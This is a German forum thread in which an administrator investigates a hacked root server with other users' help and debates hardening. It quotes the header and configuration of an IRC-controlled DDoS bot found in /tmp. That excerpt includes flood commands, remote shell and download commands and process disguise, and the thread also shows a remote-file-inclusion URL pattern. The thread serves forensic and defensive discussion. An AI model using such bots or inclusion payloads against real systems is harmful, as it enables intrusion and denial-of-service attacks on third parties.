Analyse eines erfolgreichen Angriffs

[dante77]

Nachdem ein von mir betreuter Rootserver (1&1) erfolgreich angegriffen wurde, würde ich jetzt natürlich gerne wissen, wie sich da jemand Zugriff verschaffen konnte. Der Server wurde vom Netz genommen, nachdem dieser Angriffe gegen andere Server ausgeführt hat (den Aussagen des offenbar nur mit Laien-haften Kenntnissen ausgestatteten Supports nach zu urteilen IP-Flooding). Der Server ist jetzt von der Rescue-Partition gebootet (ist ein älteres Debian drauf).

Ich habe die alte System-Parition gemountet und bereits einmal nachgesehen, ob ich etwas verdächtiges finden kann. Aber ich bin in keiner Logdatei fündig geworden. Insbesondere gab es laut logs keinen erfolgreichen Login ausser meinen eigenen.

Daher Frage: Wo kann ich noch schauen? Was ist verdächtig? Der Server selbst soll zwar nicht mehr verwendet werden, ich will aber trotzdem wissen, wo der Fehler in der Sicherheit lag!

Für Hinweise und Anregungen bin ich dankbar.

[aubergine]

Kein Login, trotzdem erfolgreicher Angriff deutet sehr schwer auf eine unsichere Webapplication hin

[dante77]

Aber aus Logdateien lassen sich ja theoretisch auch einfach Einträge rauslöschen. Und mal angenommen, jemand wäre über ein unsicheres PHP-Skript eingedrungen, wie könnte er dann - ohne Konsole - den Server dazu bringen, einen DOS-Angriff zu starten? In der .bash_history stehen auch nur Befehle von mir selbst drin.

[niemand]

Aber aus Logdateien lassen sich ja theoretisch auch einfach Einträge rauslöschen. Und mal angenommen, jemand wäre über ein unsicheres PHP-Skript eingedrungen, wie könnte er dann - ohne Konsole - den Server dazu bringen, einen DOS-Angriff zu starten? In der .bash_history stehen auch nur Befehle von mir selbst drin.

ecex() und ähnliche bieten sich da an. Oder eine Backdoor.

Logs sind nach einem erfolgreichen Einbruch absolut wertlos - es sind halt normale Textfiles, die sich mit sed & Co auch automatisiert ändern lassen...

cu

[Roger Wilco]

Der Server wurde vom Netz genommen, nachdem dieser Angriffe gegen andere Server ausgeführt hat (den Aussagen des offenbar nur mit Laien-haften Kenntnissen ausgestatteten Supports nach zu urteilen IP-Flooding).

Glashaus, Steine, 'nuff said.

Insbesondere gab es laut logs keinen erfolgreichen Login ausser meinen eigenen.

Wie aubergine schon geschrieben hat, ist dazu eine verwundbare Webapplikation völlig ausreichend. Die Skripte des Angreifers laufen dann eben erstmal im Benutzerkontext des Webservers (sofern nicht Spielereien wie SuExec/SuPHP zum Einsatz kommen).

Daher Frage: Wo kann ich noch schauen?

In den Error- und Access Logs deines Webservers.

Was ist verdächtig?

Alle öffentlich erreichbaren Dienste und Applikationen, die du nicht überprüft hast. Insbesondere Skripte mit Namen php*. Meldungen zu Sicherheitslücken stehen i. d. R. auf der jeweiligen Herstellerseite oder in Bugtraq, Full Disclosure usw.

Der Server selbst soll zwar nicht mehr verwendet werden, ich will aber trotzdem wissen, wo der Fehler in der Sicherheit lag!

Löblich. Macht nicht jeder.

Aber aus Logdateien lassen sich ja theoretisch auch einfach Einträge rauslöschen.

Jein. Normalerweise kann nur "root" auf die Logs schreibend zugreifen. Wenn der Angreifer "nur" die Benutzerrechte des Webservers erhalten hat, kann er keine Logeinträge löschen (Ausnahmen bestätigen die Regel). Wenn du einen verwundbare Dienst oder Kernel laufen hast, der eine Privilege Escalation ermöglicht, hast du natürlich schlechte Karten.

Und mal angenommen, jemand wäre über ein unsicheres PHP-Skript eingedrungen, wie könnte er dann - ohne Konsole - den Server dazu bringen, einen DOS-Angriff zu starten?

exec, system, passthru, ...
Um sich an einen unpriviligierten Port (>1023) zu binden oder darüber Daten rauszujagen, sind keine Rootrechte nötig...

[rootsvr]

Vermutlich war deine Firewall und dein Portknocking nicht ausreichend *SCNR*

Ist geschrieben worden.. unsicheres PHP Script lädt Script aus Netz, das lädt andere Daten z.B. nach /tmp und führt dann dort über exec und Co Shellscripte oder perl-Scripte aus oder startet locale Exploits.

[dante77]

Okay, leuchtet ein. Also angenommen, jemand hat ein PHP-Skript erfolgreich missbrauchen können, müsste das dann aber doch in den access_logs verzeichnet sein, oder? Natürlich vorausgesetzt, derjenige hat keinen root Zugriff erhalten.

Ich habe die entsprechenden access_logs durchsucht, und zwar nach "php" und mir jeden php-skript-aufruf angesehen. Nichts ungewöhnliches. Die Strings passthru, exec oder system tauchen auch nicht auf.

Ausserdem habe ich mir per find alle zuletzt geänderten Dateien ausgeben lassen. Nichts ungewöhnliches. Das find läuft natürlich vom rescue system aus, kann also kaum ersetzt worden sein. oder doch?

Mir scheinen PHP und SSH-Zugriff inzwischen fast als Ursache auszuscheiden.. Warum sollte sich jemand auch die Mühe machen, einzelne Einträge aus Logdateien zu löschen, wenn er einen DOS-Angriff vorhat? Ihm sollte ja klar sein, dass das ohnehin in kurzer Zeit entdeckt wird, oder? Die Frage ist nun wohl, was es noch für Möglichkeiten gibt.

[dante77]

Vermutlich war deine Firewall und dein Portknocking nicht ausreichend *SCNR*

Auf diesem Server war genau das nicht im Einsatz.

[darkman]

Hi,

Portknocking und Firewall haette den Angriff vermutlich auch nicht
verhindert. Was mich ein bisschen "erstaunt" (oder aergert?) ist,
das Du einen Server betreust, aber scheinbar nicht ueber das noetige
Hintergrundwissen verfuegst, wie man in so einem Fall reagieren sollte
bzw. wichtiger: was man danach alles tun muss um das zu verhindern.
Positiv ist, wie Roger schon sagte, das Du wenigstens das ganze nun
genauer betrachten willst.

Punkt1: Den Angriff jetzt nachzuvollziehen wird schwer. Gut waere es
gewesen, den Server zu "betrachten" als er noch gelaufen ist. Dort waer
es Dir naemlich moeglich gewesen, evtl. laufende "boese" Scripte
zu sehen (und damit ggfs. auch den User der sie ausfuehrt).

Punkt2: Mach Dir nen Plan was ueberhaupt alles fuer Dienste gelaufen
sind und wo ggfs. Schwachstellen waren. Wenn Du Webseiten von Fremden
hostest, erstmal die betrachten, die "ueblich verdaechtige" Software
ala PHPNuke, BB, Mambo/Joomla etc. verwenden. Nur wenn Du ein wenig
das Einfalltor einschraenken kannst, wirst Du in brauchbarer Zeit
spuren finden.

Punkt3: Haengt ein wenig mit Punkt2 zusammen: Versuch Informationen
zur Art des Angriffs auf andere Systeme zu bekommen. Waren es z.B.
ssh-dictionary-attacks koennte die Suche nach Dateien die "ssh" im
Namen haben erfolgreich sein ;)

Mit entsprechendem KnowHow sollte es so moeglich sein in weniger als
30 Minuten das entsprechende Loch zu finden.

So long (und viel Spass),
Darkman

[rootsvr]

Ich habe die entsprechenden access_logs durchsucht, und zwar nach "php" und mir jeden php-skript-aufruf angesehen. Nichts ungewöhnliches. Die Strings passthru, exec oder system tauchen auch nicht auf.

exec und system tauchen auch nicht in den apache Logs auf, da sie ja innerhalb von (heruntergeladenen/von fremden Seiten eingebundenen Scripten) ausgeführt werden.
Worauf Du achten solltest sind sachen ala: index.php?site=http://andererServer.tld/datei

also wird über ein Script von Dir ein fremdes eingebunden..

"=http" wäre ne Möglichkeit zu greppen. Aber Darkman hat es schon gesagt: schau was Du installiert hast suche auf Bugtraq/Fulldisclosure und Co nach Berichten für deine Version, schau dir an wie in den Exploits vorgangen wird und guck ob du bei Dir spuren davon findest.


Und Protknocking hätte wohl auch nichts geändert. Irgendwie muß das Flooding ja entstanden sein, top netstat und co nennen da aktive Programme nach denen man forschen kann und die man dann zurückverfolgen sollte..

[dante77]

So, jetzt habe ich was gefunden :idea:. In /tmp liegen zwei Dateien namens "rico2" und "rico2.c". Damit dürfte zumindestens das verwendete Programm gefunden sein. Hier der Anfang von "rico2.c":

Code: Select all

/*******************************************************************************
 *   This is a IRC based distributed denial of service client.  It connects to *
 * the server specified below and accepts commands via the channel specified.  *
 * The syntax is:                                                              *
 *       !<nick> <command>                                                     *
 * You send this message to the channel that is defined later in this code.    *
 * Where <nick> is the nickname of the client (which can include wildcards)    *
 * and the command is the command that should be sent.  For example, if you    *
 * want to tell all the clients with the nickname starting with N, to send you *
 * the help message, you type in the channel:                                  *
 *       !N* HELP                                                              *
 * That will send you a list of all the commands.  You can also specify an     *
 * astrick alone to make all client do a specific command:                     *
 *       !* SH uname -a                                                        *
 * There are a number of commands that can be sent to the client:              *
 *       TSUNAMI <target> <secs>       = A PUSH+ACK flooder                    *
 *       PAN <target> <port> <secs>    = A SYN flooder                         *
 *       UDP <target> <port> <secs>    = An UDP flooder                        *
 *       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
 *       NICK <nick>                   = Changes the nick of the client        *
 *       SERVER <server>               = Changes servers                       *
 *       GETSPOOFS                     = Gets the current spoofing             *
 *       SPOOFS <subnet>               = Changes spoofing to a subnet          *

 *       DISABLE                       = Disables all packeting from this bot  *
 *       ENABLE                        = Enables all packeting from this bot   *
 *       KILL                          = Kills the knight                      *
 *       GET <http address> <save as>  = Downloads a file off the web          *
 *       VERSION                       = Requests version of knight            *
 *       KILLALL                       = Kills all current packeting           *
 *       HELP                          = Displays this                         *
 *       IRC <command>                 = Sends this command to the server      *
 *       SH <command>                  = Executes a command                    *
 * Remember, all these commands must be prefixed by a ! and the nickname that  *
 * you want the command to be sent to (can include wildcards). There are no    *
 * spaces in between the ! and the nickname, and there are no spaces before    *
 * the !                                                                       *
 *                                                                             *
 *                               - contem on efnet                             *
 *******************************************************************************/
////////////////////////////////////////////////////////////////////////////////
//                                EDIT THESE                                  //
////////////////////////////////////////////////////////////////////////////////
#undef STARTUP                  // Start on startup?
#undef IDENT                    // Only enable this if you absolutely have to
#define FAKENAME "-bash"        // What you want this to hide as
#define CHAN "#duy"             // Channel to join
#define KEY "bleh"              // The key of the channel
int numservers=1;               // Must change this to equal number of servers down there
char *servers[] = {             // List the servers in that format, always end in (void*)0
        "xxx.xxx.xxx.xx",
        (void*)0
};

Also ein IRC-Bot. Da steht auch die IP-Adresse des IRC-Servers drin (von mir hier unkenntlich gemacht), das ist ein Server in der Schweiz. Was meint ihr, lohnt sich auf diesem Wege eine strafrechtliche Verfolgung?

Alle Dateien gehören übrigens root, der Angreifer scheint also tatsächlich root-Zugriff erhalten zu haben.

[rootsvr]

autsch..
jetzt guckst Du in deiner apache.log nach rico.c.

Dein apache lief aber jicht als root, oder?

naja neuinstallieren und alle Passwörter änder ist jetzt angebracht. Das system ist verbrannt.

[dante77]

:idea:

Sooo... ich habe die Schwachstelle tatsächlich gefunden. Und im Gegensatz zu anders lautenden Meinungen - ein Paketfilter hätte den Einbruch in diesem Fall wohl verhindern können.

Es handelt sich um einen Webmin-Exploit, und zwar den hier:
http://www.egocrew.de/board/thread.php?threadid=13251

Die Jungs haben sich damit einfach passwd und shadow heruntergeladen. Dann warscheinlich eines der Passwörter geknackt, eingeloggt und anschließend Root-Exploit.

So viel dazu. :evil:

[Roger Wilco]

Sooo... ich habe die Schwachstelle tatsächlich gefunden. Und im Gegensatz zu anders lautenden Meinungen - ein Paketfilter hätte den Einbruch in diesem Fall wohl verhindern können.

Inwiefern? Webmin muss laufen damit der Exploit funktioniert und wenn du den Zugriff mit einem Paketfilter blockierst, kannst du Webmin auch gleich beenden...

[dante77]

Inwiefern? Webmin muss laufen damit der Exploit funktioniert und wenn du den Zugriff mit einem Paketfilter blockierst, kannst du Webmin auch gleich beenden...

Indem der Zugriff auf den Webmin-Port selektiv beschränkt wird, so wie ich es auf anderen Servern im Einsatz habe. Das Vorgehen ist recht einfach: Anhand eines DynDNS-Dienstes hinterlegt man unter einer bestimmten Adresse seine aktuelle IP. Im iptables-Skript wird dann ein DNS-Lookup durchgeführt, um den Zugriff auf bestimmte Ports zu beschränken. Da der DNS-Lookup aber nicht ständig erfolgt, sondern nur wenn iptables startet, muss das per cronjob passieren (iptables regelmäßig neu starten). Dadurch gibts auch keinen Performance-Verlust durch DNS-Lookups im laufenden Betrieb.

Das funktioniert wunderbar. Im schlechtesten Fall muss man eben paar Minuten warten, bis man selbst wieder Zugriff hat. Aber das nehme ich gerne in Kauf.

Und ausserdem natürlich: Keinen direkten Root-Login zulassen, und Authentifizierung ausschließlich per Private Key.

[flo]

Wäre das nicht eher der Public Key?

flo.

[dante77]

Wäre das nicht eher der Public Key?

Ja, der wird doch auf dem Server hinterlegt? Wenn ich mich per Putty und Pageant authentifziere, hab ich meinen Private Key auf meinem Notebook, mit dem ich mich einlogge. Wir sprechen aber sicherlich vom gleichen Public/Private Key Verfahren.

[rootsvr]

Wenn Du nur Key authentifizierung zugelassen hättest wäre das wohl auch nicht passiert, wobei .. wer weiß was sonst alles über Webmin passiert wäre um Sachen anzulegen wird Webmin (oder Teile davon) als root laufen, folglich braucht niemand ein PW zu knacken.. und sich per ssh einloggen (was ja auch laut deiner Aussage/auth.log nicht passiert ist, oder?

--> Selbst schuld, Applikation nicht up2date gehalten.

[darkman]

Hi,

ja da straeubt sich mir ja alles. Webmin mit einem Packetfilter beschraenken
der dann eine dynamische IP erlaubt, alter Schwede.
Wie waers mit VPN? Und wozu ueberhaupt Webmin wenn man sich per SSH mit
Key anmeldet...?!
Nichts gegen Dich, aber deine Konzepte scheinen mehr als ein Fehler zu
haben...

So long,
Darkman

[dante77]

ja da straeubt sich mir ja alles. Webmin mit einem Packetfilter beschraenken
der dann eine dynamische IP erlaubt, alter Schwede.

Den Webmin-Port zu tunneln wäre natürlich auch eine Alternative. Aber was spricht deiner Meinung nach so deutlich gegen meine Lösung? Ein Angreifer müsste im Prinzip erst erraten, welche Adresse/IP iptables gerade gegencheckt und diese dann spoofen.. halte ich für ausgeschlossen.

Im Unterschied zu einem VPN ist bei meiner Lösung übrigens (scheinbar) kein geschützter Port nach aussen offen. Wäre man absolut paranoid, könnte man sogar beide Lösungen kombinieren.

Ausserdem nehme ich die Lösung auch, um den SSH-Zugung zu reglementieren (+ PermitRootLogin no, + Nur Key Authentifizierung). Ich bin es einfach leid, ständig in den Logs Login-Versuche unter den unterschiedlichsten Benutzernahmen vorzufinden.

PS: Ich beschreibe hier keineswegs mein vollständiges Sicherheitskonzept, das ist nur ein Baustein davon.

[darkman]

Den Webmin-Port zu tunneln wäre natürlich auch eine Alternative. Aber was spricht deiner Meinung nach so deutlich gegen meine Lösung? Ein Angreifer müsste im Prinzip erst erraten, welche Adresse/IP iptables gerade gegencheckt und diese dann spoofen.. halte ich für ausgeschlossen.

Was ist mit der Moeglichkeit, deinen dyndns Host zu "kacken"? (Mehr
als nen Passwort dazu wirds wohl kaum brauchen um den zu updaten).
Oder den Ort wo Du deinen dyndns Host "ablegst" (hattest Du weiter
oben mal geschrieben). Dazu kommt, das das Konzept einen Fehler hat:
Sich automatisch aendernde Konfigs sind immer ein Risiko. Was machst
Du, wenn der DNS Server den Du befragst ausfaellt?

Im Unterschied zu einem VPN ist bei meiner Lösung übrigens (scheinbar) kein geschützter Port nach aussen offen. Wäre man absolut paranoid, könnte man sogar beide Lösungen kombinieren.

Wenn man z.B. OpenVPN nimmt, kann man einen TLS Authentification Key
anwenden. Pakete die NICHT damit signiert werden, werden verworfen.
Somit ist der Port fuer Portscanner etc. zu.

Ausserdem nehme ich die Lösung auch, um den SSH-Zugung zu reglementieren (+ PermitRootLogin no, + Nur Key Authentifizierung). Ich bin es einfach leid, ständig in den Logs Login-Versuche unter den unterschiedlichsten Benutzernahmen vorzufinden.

Dafuer gibt es aber entsprechende Ignore-Rules in den Logmonitor-Tools,
oder guckst Du Dir jedes Log persoenlich an? Ausserdem gilt auch hier:
VPN kann helfen. Du koenntest z.B. einen Server irgendwo hernehmen
als VPN Server und sonst fuer nichts und von dessen IP Zugriff erlauben.

PS: Ich beschreibe hier keineswegs mein vollständiges Sicherheitskonzept, das ist nur ein Baustein davon.

Bezweifel ich auch garnicht, aber der Baustein sieht schon ein wenig
Bruechig aus. Dynamische Konfigurationen sollte man immer vermeiden.
Wenn Du was billiges haben willst: Sofern Du eh schon SSL gestuetzte
Webseiten hast, mach Dir ein "Management" Interface auf dem Du Dich
freischalten kannst und arbeite mit SSL Zertifikaten zur Authentifizierung.
Im Web auf "Open ACCESS" klicken, deine IP wird via. sudo freigeschaltet
und gut.

Gruss,
Darkman

[lord_pinhead]

Was ist mit der Moeglichkeit, deinen dyndns Host zu "kacken"?

Das wird dann eine eklige angelegenheit ;)

Andere dumme Frage: Warum überhaupt Webmin verwenden? Ich finde persönlich das er viel zu stark ins System eingreift und die Sicherheitslücken von Webmin waren schon immer kritisch. Was benötigst du von Webmin was du nicht durch ein bisschen mehr Arbeit selbst von Hand machen könntest?

[darkman]

Was ist mit der Moeglichkeit, deinen dyndns Host zu "kacken"?

Das wird dann eine eklige angelegenheit ;)

Wieso? Der DynDNS Host wird ja einfach via. updateclient z.B. auf den
aktuellen Stand gebracht. Also braucht man nur das PW und den Host.
Der Host ist meist eh bekannt (ausgegangen davon, das es jemand direkt
drauf anlegt). Also bleibt noch das Passwort. Sobald ich das dann hab,
hab ich Zugriff auf Webmin ;)

So long,
Darkman

[standbye]

Also ein IRC-Bot. Da steht auch die IP-Adresse des IRC-Servers drin (von mir hier unkenntlich gemacht), das ist ein Server in der Schweiz. Was meint ihr, lohnt sich auf diesem Wege eine strafrechtliche Verfolgung?

Nein, die meisten IRC Netzwerke können nichts dazu wenn sie von Bots als Kommunikations-Plattform missbraucht werden.
Hatte ich auch schon mehrmals, ich denke auf größeren Netzen fällt das evtl. auch nicht sofort auf. Bei mir schon, bei normal ein paar hundert usern auf einmal ein Anstieg in die tausende war etwas, hmm komisch. Aber mehr als Regeln verhängen die die Bots ausschließen (was auch nicht umbedingt einfach ist) kannst du als Betreiber auch nicht machen

[dante77]

Wieso? Der DynDNS Host wird ja einfach via. updateclient z.B. auf den
aktuellen Stand gebracht. Also braucht man nur das PW und den Host.
Der Host ist meist eh bekannt (ausgegangen davon, das es jemand direkt
drauf anlegt)

Wieso soll denn der Host "eh bekannt" sein? Wenn die Adresse meines Servers http://www.meinserver.de lautet und die Adresse, hinter der sich die aktuelle IP meines Internetzugangs verbirgt, superfluffy789.dynservice.com (Namen nur Beispiele!), wie soll dann einer darauf kommen? Der Server unter http://www.meinserver.de hat mit der dynamischen Adresse nichts zu tun, da läuft auch kein Update-Client. Die IP bringe ich von Windows aus vor meinem Login auf den aktuellen Stand.

Dennoch sind deine Lösungen mit OpenVPN und TLS auch interessant, werde ich mir mal anschauen.